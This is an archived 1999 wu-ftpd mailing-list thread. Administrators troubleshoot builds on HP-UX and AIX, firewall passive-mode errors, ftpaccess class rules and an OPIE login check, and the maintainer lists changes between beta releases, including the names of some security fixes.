Make: Don't know how to make ../support/libsupport.a. Stop.

Making ftpshut.

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c ftpshut.c

Make: Don't know how to make ../support/libsupport.a. Stop.

Making ckconfig.

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c ckconfig.c

cc +DAportable -o ckconfig ckconfig.o

Executables are in bin directory:

size: bin/ftpd: cannot open

size: bin/ftpcount: cannot open

size: bin/ftpshut: cannot open

size: bin/ftpwho: cannot open

bin/ckconfig: 9772 + 1756 + 8 = 11536

Done

Any help would be appreciated

Thanks

Ps: I'm running HPUX 10.20 with unbundled C/ANSI compiler

Man Nguyen

NTIS /Fedworld
703-605-6724
http://www.fedworld.gov

From [email protected] Tue Mar 2 14:14:52 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA18641;
Tue, 2 Mar 1999 14:14:52 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA08292;
Tue, 2 Mar 1999 14:11:28 -0600 (CST)
Received: from nuinfo.nwu.edu (nuinfo.nwu.edu [129.105.212.72])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA02009
for <[email protected]>; Tue, 2 Mar 1999 14:07:12 -0600 (CST)
Received: (from lunde@localhost)
by nuinfo.nwu.edu (8.8.8/8.8.8) id OAA23723;
Tue, 2 Mar 1999 14:06:33 -0600 (CST)
Message-Id: <[email protected]>
Date: Tue, 02 Mar 1999 14:06:32 CST
Reply-To: [email protected] (Albert Lunde)
Sender: [email protected]
From: [email protected] (Albert Lunde)
To: [email protected]
Cc: [email protected]
Subject: Re: Build problem on VR15 for HP-UX
In-Reply-To: <[email protected]>; from "Carol L. Evers" at Mar 2, 99 12:58 (noon)
X-Sender: [email protected] (Albert Lunde)
X-Mailer: Elm [revision: 212.4]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> I am trying to upgrade my ftp server from wuftpd-2.4.2 to VR15 but am getting
> the following error. I haven't been able to figure out what size 'sa' is
> suppose to be. I'm assuming the other errors are a result of not having a size
> set for 'sa'. Does anyone have any ideas? I am running HP-UX 10.20, and using
> the Ansi C compiler. Any help would be appreciated.

Change the makefiles (Makefile.hpx under src and support) to use
"-Ae" in CFLAGS instead of "-Aa -D_POSIX_SOURCE";
this gives you a few more non-Posix Symbols and non-ANSI extensions,
some of which are required by the VR code.

--
Albert Lunde [email protected]

From [email protected] Tue Mar 2 14:34:23 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA18971;
Tue, 2 Mar 1999 14:34:22 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA03028;
Tue, 2 Mar 1999 14:30:42 -0600 (CST)
Received: from mta1.imation.com (mail2.imation.com [207.242.212.137])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA05154
for <[email protected]>; Tue, 2 Mar 1999 14:25:30 -0600 (CST)
Received: by mta1.imation.com(Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) id 86256728.007020EA ; Tue, 2 Mar 1999 14:24:44 -0600
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 14:24:30 -0600
Reply-To: [email protected]
Sender: [email protected]
From: "Carol L. Evers" <[email protected]>
To: [email protected] (Albert Lunde)
Cc: [email protected]
Subject: Re: Build problem on VR15 for HP-UX
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Lotus-FromDomain: IMATION
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Thanks, that took care of the problem.

> I am trying to upgrade my ftp server from wuftpd-2.4.2 to VR15 but am getting
> the following error. I haven't been able to figure out what size 'sa' is
> suppose to be. I'm assuming the other errors are a result of not having a
size
> set for 'sa'. Does anyone have any ideas? I am running HP-UX 10.20, and
using
> the Ansi C compiler. Any help would be appreciated.

Change the makefiles (Makefile.hpx under src and support) to use
"-Ae" in CFLAGS instead of "-Aa -D_POSIX_SOURCE";
this gives you a few more non-Posix Symbols and non-ANSI extensions,
some of which are required by the VR code.

--
Albert Lunde [email protected]

From [email protected] Tue Mar 2 14:35:20 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA18996;
Tue, 2 Mar 1999 14:35:19 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA07627;
Tue, 2 Mar 1999 14:31:47 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA08601
for <[email protected]>; Tue, 2 Mar 1999 14:28:37 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id PAA30365;
Tue, 2 Mar 1999 15:28:18 -0500
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 15:28:18 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "Robertson, Rocke" <[email protected]>
Cc: wuftp <[email protected]>
Subject: Re: 425 Couldn't open data connection. w/VR14
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 2 Mar 1999, Robertson, Rocke wrote:

> I have installed beta18VR14. And now one client out of many gets this
> when he connects from behind a Borderware firewall.I have gone over
> the FAQ, and archives and seen all sorts of mention of this. In this
> scenario its just one client. I believe the firewall does address
> translation.
>
> Symptoms: User connects using ws_ftp, can download 1 or 2 files....
> then on 2nd or 3rd operation of some kind, he gets the 425 error.
>
> Has anyone configured a Borderware firewall to work with the new
> version of wu-ftpd with pasv connections?
>
> Thanks
>
> > 227 Entering Passive Mode (198,103,98,192,121,18)
> > connecting to 198.103.98.192:30994
> > - -
> > connecting to 198.103.98.192:30994
> > Connected to 198.103.98.192 port 30994
> > STOR nta-srch.fr
> > 425 Couldn't open data connection
> > ! Receive error: Blocking call cancelled
> >
> > PWD
> > 425 Can't open data connection.
> > TYPE A
> > 257 "/u1/sites/internet/cta/htdocs/eng" is current directory.
> > PASV
> > 200 Type set to A.
> > ! Unable to parse info 200 Type set to A.
> > PORT 10,10,4,20,4,143
> > 425 Couldn't open data connection
> > ! Failed "port":
> > ! Retrieve of directory listing failed (0)

Looks liek the client may be getting confused. Turn on command logging so
your system logshow the sequence of commands and responses. If that
doesn't show the cause, try testing with telnet using the same commands.
Help testing with telnet is at
ftp://ftp.vr.net/pub/wu-ftpd/telnet.testing.HOWTO

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 2 14:36:12 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA19012;
Tue, 2 Mar 1999 14:36:10 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA17207;
Tue, 2 Mar 1999 14:32:40 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA27704
for <[email protected]>; Tue, 2 Mar 1999 14:30:04 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id PAA30380;
Tue, 2 Mar 1999 15:29:45 -0500
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 15:29:45 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Che Tran <[email protected]>
Cc: [email protected]
Subject: Re: Wu-ftpd VR14
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 2 Mar 1999, Che Tran wrote:

> I just installed wu-ftpd beta18-VR14 as a drop-in replacement for
> wu-ftpd Version wu-2.4.2(3) which is very old.
>
> However, it didn't do exactly as I expected. I'm running sol2.5.1. The
> ftpd binaries are mounted as are the users' home directories via NFS.
> Real accounts are fine, but I had some problems with anonymous
> account. Once logged in as anonymous, ls can't be run. I haven't made
> any changes to the library, but I don't think that should matter. For
> the heck of it, I even installed BeroFTPd-1.3.1 with internal ls and I
> still get the same problem. Am I overlooking something?
>
> 425 Can't create data socket (0.0.0.0,20): No such file or directory.

Read the FAQ, this is specifically covered there.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 2 14:47:20 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA19249;
Tue, 2 Mar 1999 14:47:07 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA22301;
Tue, 2 Mar 1999 14:43:30 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA18086
for <[email protected]>; Tue, 2 Mar 1999 14:42:06 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id PAA30512;
Tue, 2 Mar 1999 15:41:53 -0500
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 15:41:53 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: Class restrictions
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 2 Mar 1999 [email protected] wrote:

> I'm installing wuftp 2.4.2[beta 18]VR15 on Digital Unix 4.0E and I
> have a problem with the class definitions. When I use them for
> restrict any operation (ie. rename, upload), the operation is denied
> even for valid users.
>

> Excerpt from ftpaccess:
>
> class users_auth guest 172.16.1.2/32
>
> rename yes class=users_auth
> rename no guest,anonymous

> Then I tried to rename some file with a guest user from 172.16.1.2.
> I'm sure that the user is managed as guest because it's really
> chrooted.
>
> However the next error is displayed:
>
> ftp> ren test1 test2
> 350 File exists, ready for destination name
> 553 test1: Permission denied. (rename)
>
> Mar 2 19:43:03 myhost ftpd[12004]: myguest of myhost.mydomain.es
> [172.16.1.2] tried to rename /home/ftp/pub/test1 to
> /home/ftp/pub/test2

Looks like my example had it backwards. (Actually, the code looks too
simplistic, but that's for later.) Try reversing the order of the class'd
clauses, ie:

rename no guest,anonymous
rename yes class=users_auth

Looks like the more-general 'no guest' is matching and overriding the
more-specific 'yes class=users_auth'. I'll revisit the code in the next
few days to see if I can make it behave more rationally. Until then,
order from more-general to more-specific as your read down the ftpaccess
file and it _should_ work. Let me know.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 2 14:53:57 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA19355;
Tue, 2 Mar 1999 14:53:49 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA15271;
Tue, 2 Mar 1999 14:50:03 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA11363
for <[email protected]>; Tue, 2 Mar 1999 14:49:30 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id PAA30578;
Tue, 2 Mar 1999 15:49:25 -0500
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 15:49:25 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: Class restrictions
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Thinking more on the problem, reordering may not help. Try this:

The default for guest users is 'yes', form a class= for the 'no' and let
the default case handle the 'yes'. The code really is too simplistic.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 2 15:45:04 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA20292;
Tue, 2 Mar 1999 15:45:03 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA24866;
Tue, 2 Mar 1999 15:41:28 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA14468
for <[email protected]>; Tue, 2 Mar 1999 15:37:20 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id QAA31050;
Tue, 2 Mar 1999 16:36:54 -0500
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 16:36:54 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: Wu-ftpd List <[email protected]>
Subject: Re: RFTP Update/Fix
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 2 Mar 1999 [email protected] wrote:

> After trying Beta-18/VR-14, straight Beta-18, and Beta-16, and various
> combinations of the new 'restrict uid' rules in the 'ftpaccess' file,
> (none of which worked), I decided to try going back to Beta-13.

I've pulled CVS diffs between beta-13 and beta-16 (if you want a full set
let me know).

Here's what I see changing over the three revisions.

src/access.c
- change to when l_compress and l_tar initialized for ftpconversions

src/conversions.c
- changed parsing scheme for ftpconversions

src/extensions.c
- correction to handling of ABOR command with out of band data
- correction of %E magic cookie
- correction of %M magic cookie
- correction of %T magic cookie
- correction of %U magic cookie
- correction of %u magic cookie
- garbage collection change for README files
- additional corrections for out of band data
- change to path_compare for wildcards
- change to syntax for upload nodirs option

src/ftpcmd.y
- correction for PORT command, w/garbage collection, being more critical
of which ports the client may use on its end and which IP the client
may send the PORT connection to. There's a CERT Advisory about this.
- check for missing parameters on commands
- Y2K correction, us %04d instead of 19%02d on a response. This is the
entire Y2K problem and didn't effect the daemon, but caused problems
for some clients.
- garbage collection on errors
- renamed getline to wu_getline to avoid runtime collision
- correction to garbage collection for unimplemented commands
- correction for 213 response for large offset_t machines
- change some commands to use lreply so '-' on password can suppress

src/ftpcount.c
- minor changes to match how the daemon really works and show more info

src/ftpd.c
- grabbed proctitle code from sendmail, replaced old way of showing state
on ps
- porting fixes for Unixware and AIX
- prevent overrun of a few buffers
- fixes for shadow password support
- correction for S/Key challenge
- additional reasons for login failure reported to syslog and removed
from FTP resonses
- corrections for S/Key skey_challenge calls
- renamed logwtmp to wu_logwtmp to prevent runtime collision
- added support for password expiration
- moved where the anonymous password warning occurred
- if user is a guest, they cannot be anonymous
- anonymous (ftp) doesn't ise /./ hack
- 550 -> 530 response correction if cannot set uid
- correction for handling of ftpconversions, stay alive if no file
- AIX 4.2 porting
- don't close data socket if it's not open
- can't do a transfer if no PORT or PASV command was received
- HP/UX porting
- fix byte counts reported for transfers
- fix timeout problems with transfers
- added testing code for Debian Linux bogosity
- suppress unneeded newline fot STAT <file>
- cleanup STAT command output
- change varargs handling for all reply functions
- don't check if user can dir rename until after checking dir delete
- don't allow PASV unless logged in
- fixup for unique filename generation
- longjmp in NLST was clobbering some data
- garbage collection cleanup in NLST

src/ftpshut.c
- typo

src/glob.c
- defend against ye olde ../*/.. overrun attack

src/hostacc.c
src/hostacc.h
- change from static array to malloc'd to remove limits on size

src/logwtmp.c
- change to wu_logwtmp to avoid runtime conflict

src/pathnames.h
- support /var/adm area for pid files
- Solaris 2 lastlog is in /var/adm

src/popen.c
- get rid of bzero, use memset
- don't overrun argv array

src/private.c
- clean up parsing of ftpgroups file

src/realpath.c
- don't underrun a buffer looking for /

src/config/*
src/makefiles/*
- many porting changes

support/authuser.c
- cleanup for Unixware, AIX

support/fnmatch.c
- replacement of BSD 8.1 with BSD 8.2 version

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 2 17:16:05 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA21702;
Tue, 2 Mar 1999 17:16:04 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA14529;
Tue, 2 Mar 1999 17:12:37 -0600 (CST)
Received: from frontiernet.net ([email protected] [209.130.129.198])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA21580
for <[email protected]>; Tue, 2 Mar 1999 17:07:52 -0600 (CST)
Received: (from dsf@localhost)
by frontiernet.net (8.8.8a/8.8.8) id SAA128496;
Tue, 2 Mar 1999 18:07:50 -0500
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 18:07:50 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Dan Foster <[email protected]>
To: [email protected]
Cc: [email protected] (Dan Foster)
Subject: malloc error under AIX solution
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4ME+ PL35 (25)]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

For wu-ftpd VR releases (I tested against VR14, but it looks like it'd possibly
be applicable against other VR releases as well), the fix is to:

edit line 3843 of src/ftpd.c, and change from:

size_t size_t_blksize;

to:

off_t size_t_blksize;

Then recompile and reinstall. It should then work.

The cause? (researched and tested this time around :) )

If AIX v4.2 and later, *AND* -D_LARGE_FILES is enabled (which -D_AIX42 turns
on, I believe?), then off_t is a 'long long'.

And this is what blksize is defined as (off_t). size_t under AIX is always
a 'long'.

To sum it up, it was trying to stuff a variable defined as 'long long' into
another variable defined as 'long', resulting in garbage. malloc() didn't
like the nonsense values it got too much (many gigs of memory), so it failed.

-Dan

From [email protected] Tue Mar 2 17:48:13 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA22116;
Tue, 2 Mar 1999 17:48:13 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA20217;
Tue, 2 Mar 1999 17:44:50 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA32242
for <[email protected]>; Tue, 2 Mar 1999 17:40:19 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id SAA32014;
Tue, 2 Mar 1999 18:40:13 -0500
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 18:40:12 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Dan Foster <[email protected]>
Cc: [email protected]
Subject: Re: malloc error under AIX solution
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 2 Mar 1999, Dan Foster wrote:

> For wu-ftpd VR releases (I tested against VR14, but it looks like it'd
> possibly be applicable against other VR releases as well), the fix is
> to:
>
> edit line 3843 of src/ftpd.c, and change from:
>
> size_t size_t_blksize;
>
> to:
>
> off_t size_t_blksize;
>
> Then recompile and reinstall. It should then work.
>
> The cause? (researched and tested this time around :) )
>
> If AIX v4.2 and later, *AND* -D_LARGE_FILES is enabled (which -D_AIX42 turns
> on, I believe?), then off_t is a 'long long'.
>
> And this is what blksize is defined as (off_t). size_t under AIX is always
> a 'long'.
>
> To sum it up, it was trying to stuff a variable defined as 'long long' into
> another variable defined as 'long', resulting in garbage. malloc() didn't
> like the nonsense values it got too much (many gigs of memory), so it failed.

the other people working on AIX found the largefile problem. It should be
fixed in VR15. Is it not?

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 2 17:51:02 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA22156;
Tue, 2 Mar 1999 17:51:01 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA28215;
Tue, 2 Mar 1999 17:47:39 -0600 (CST)
Received: from info.census.gov (info.census.gov [148.129.129.10])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA18080
for <[email protected]>; Tue, 2 Mar 1999 17:41:58 -0600 (CST)
Received: from localhost (dbadrak@localhost)
by info.census.gov (8.8.8/8.8.8) with SMTP id SAA09736
for <[email protected]>; Tue, 2 Mar 1999 18:41:57 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 18:41:56 -0500 (EST)
Reply-To: Don Badrak <[email protected]>
Sender: [email protected]
From: Don Badrak <[email protected]>
To: [email protected]
Subject: onnet ftp client problem with beroftpd 1.3.3
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Due to the CERT advisories about the ftp exploits, I decided to upgrade
from wu-ftpd 2.4.2-b18 to BeroFTPD 1.3.3 (mostly for the ease of
configuration with autoconf).

I have been using it for quite a while, and I'm please with it. However,
not that actual users are using it (those who faint at the sight of a
command line), I've run into some weirdness.

[hopefully I won't get blasted for discussing a derivative work from
wu-ftpd]

First time through I built it with the --enable-internal-ls and
--enable-paranoid. This caused *me* problems with NcFTP, which no longer
would do filename completion or multiple recursive gets (mget -R).

I tracked that down to NcFTP sending a LIST -d command. After
recompiling to not use the internal ls (nor paranoid, due to the need to
do chmod, nor identd, becuase it's not really useful anyway and slowed
down connections through our firewall), NcFTP worked fine (as it did under
wu-ftpd 2.4.2b18).

However, we use the FTP software OnNet FTP graphical client for a large
portion of our users. Some use WS_FTP, and some use the Exceed client
(both these work fine).

OnNet uses "LIST -lL". I've been able to track down as far in the
BeroFTPD code that it is assuming whatever is after the space is a file,
and it tries to do a stat() of it (I was watching the system while this
happened and saw stat("-lL") .. file not found).

This problem is present regardless of operating system. I've seen
it under Solaris 2.5.1 and IRIX 6.5.

Has anyone else run into this yet?

Don
--
Don Badrak <[email protected]> 301.457.8263 work
Telecommunications Office 301.457.4438 fax
U.S. Bureau of the Census
Suitland MD, USA

From [email protected] Tue Mar 2 19:05:25 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id TAA23258;
Tue, 2 Mar 1999 19:05:24 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id TAA24116;
Tue, 2 Mar 1999 19:02:00 -0600 (CST)
Received: from tyrex.indenial.com ([206.166.129.65])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id SAA29596
for <[email protected]>; Tue, 2 Mar 1999 18:57:58 -0600 (CST)
Received: from localhost (wuftpd@localhost)
by tyrex.indenial.com (8.9.3/8.9.3) with ESMTP id TAA28452;
Tue, 2 Mar 1999 19:59:47 -0500
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 19:59:47 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: wuftpd <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: [email protected]
Subject: Re: Opie Looks Broken in VR15
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Greg,

I did it from the VR15-source straight off your site...

I just grabbed VR14 and compiled with OPIE support and that works
fine....Cant get VR15 to work....

I just did a diff of VR14-ftpd.c and VR15-ftpd.c ..Over 300 lines
different. Shesh!....

Here is the problem....I figured it out...
Below is the code in question...
Basically, the code does a strcmp with xpassword.
Now, if you follow the code you will notice if
the opieverify works it doesnt do the xpassword = crypt...
Now, later on the strcmp bombs out due to this.(I think!)
I put in
xpasswd = crypt(passwd, pw->pw_passwd);
after the rval = 0;
line to force it anyway (since we have succeeded at this point, it doesnt
matter.)
and everything works fine.
I AM NO C Programmer , I only know enuff to do damage...

IS this correct or are we barking up the wrong tree?

Thanks
David

--------------------------------------------------------------------
In ftpd.c:

#else /* OPIE */
if(!opieverify(&opiestate, passwd))
{
rval = 0;
//Line by me...
xpasswd = crypt(passwd, pw->pw_passwd);A
}
else
xpasswd = crypt(passwd, pw->pw_passwd);
#endif /* OPIE */
#ifdef ULTRIX_AUTH
if ((numfails = ultrix_check_pass(passwd, xpasswd)) >= 0) {
#else
/* The strcmp does not catch null passwords! */
if (pw !=NULL && *pw->pw_passwd != '\0' &&
#ifdef HAS_PW_EXPIRE
(pw->pw_expire && time(NULL) < pw->pw_expire) &&
#endif
strcmp(xpasswd, pw->pw_passwd) == 0) {
#endif
rval = 0;
}
if(rval){

On Tue, 2 Mar 1999, Gregory A Lundberg wrote:

> The man who did the changes also did a precompiled binary. Is it that
> binary or did you compile from the source kit?
>
> --
>
> Gregory A Lundberg Senior Partner, VRnet Company
> 1441 Elmdale Drive [email protected]
> Kettering, OH 45409-1615 USA 1-800-809-2195
>

From [email protected] Tue Mar 2 19:11:36 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id TAA23420;
Tue, 2 Mar 1999 19:11:36 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id TAA26083;
Tue, 2 Mar 1999 19:08:17 -0600 (CST)
Received: from mail1.its.rpi.edu ([email protected] [128.113.100.7])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id TAA19663
for <[email protected]>; Tue, 2 Mar 1999 19:05:05 -0600 (CST)
Received: from yua2.cieem.rpi.edu (cieem47.cieem.rpi.edu [128.113.60.140])
by mail1.its.rpi.edu (8.8.8/8.8.6) with SMTP id UAA103718
for <[email protected]>; Tue, 2 Mar 1999 20:06:47 -0500
Message-Id: <[email protected]>
Date: Tue, 02 Mar 1999 20:06:28 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Alex Yu <[email protected]>
To: [email protected]
Subject: what's difference between vr15 and release 2.4.2?
In-Reply-To: <[email protected]>
References: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hey all,

What's difference between vr15 and release 2.4.2?

Alex

From [email protected] Tue Mar 2 19:18:05 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id TAA23532;
Tue, 2 Mar 1999 19:18:05 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id TAA14583;
Tue, 2 Mar 1999 19:14:46 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id TAA28481
for <[email protected]>; Tue, 2 Mar 1999 19:13:51 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id UAA00068;
Tue, 2 Mar 1999 20:13:45 -0500
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 20:13:45 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Alex Yu <[email protected]>
Cc: [email protected]
Subject: Re: what's difference between vr15 and release 2.4.2?
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 2 Mar 1999, Alex Yu wrote:

> What's difference between vr15 and release 2.4.2?

There is no release 2.4.2

VR15 is a series of 12 upgrades from 2.4.2 (Beta 18). 2.4.2 (Beta 18) is
a series of 18 upgrades from 2.4. 2.4 is the last 'officially released'
version.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 2 20:03:20 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id UAA24258;
Tue, 2 Mar 1999 20:03:19 -0600 (CST)
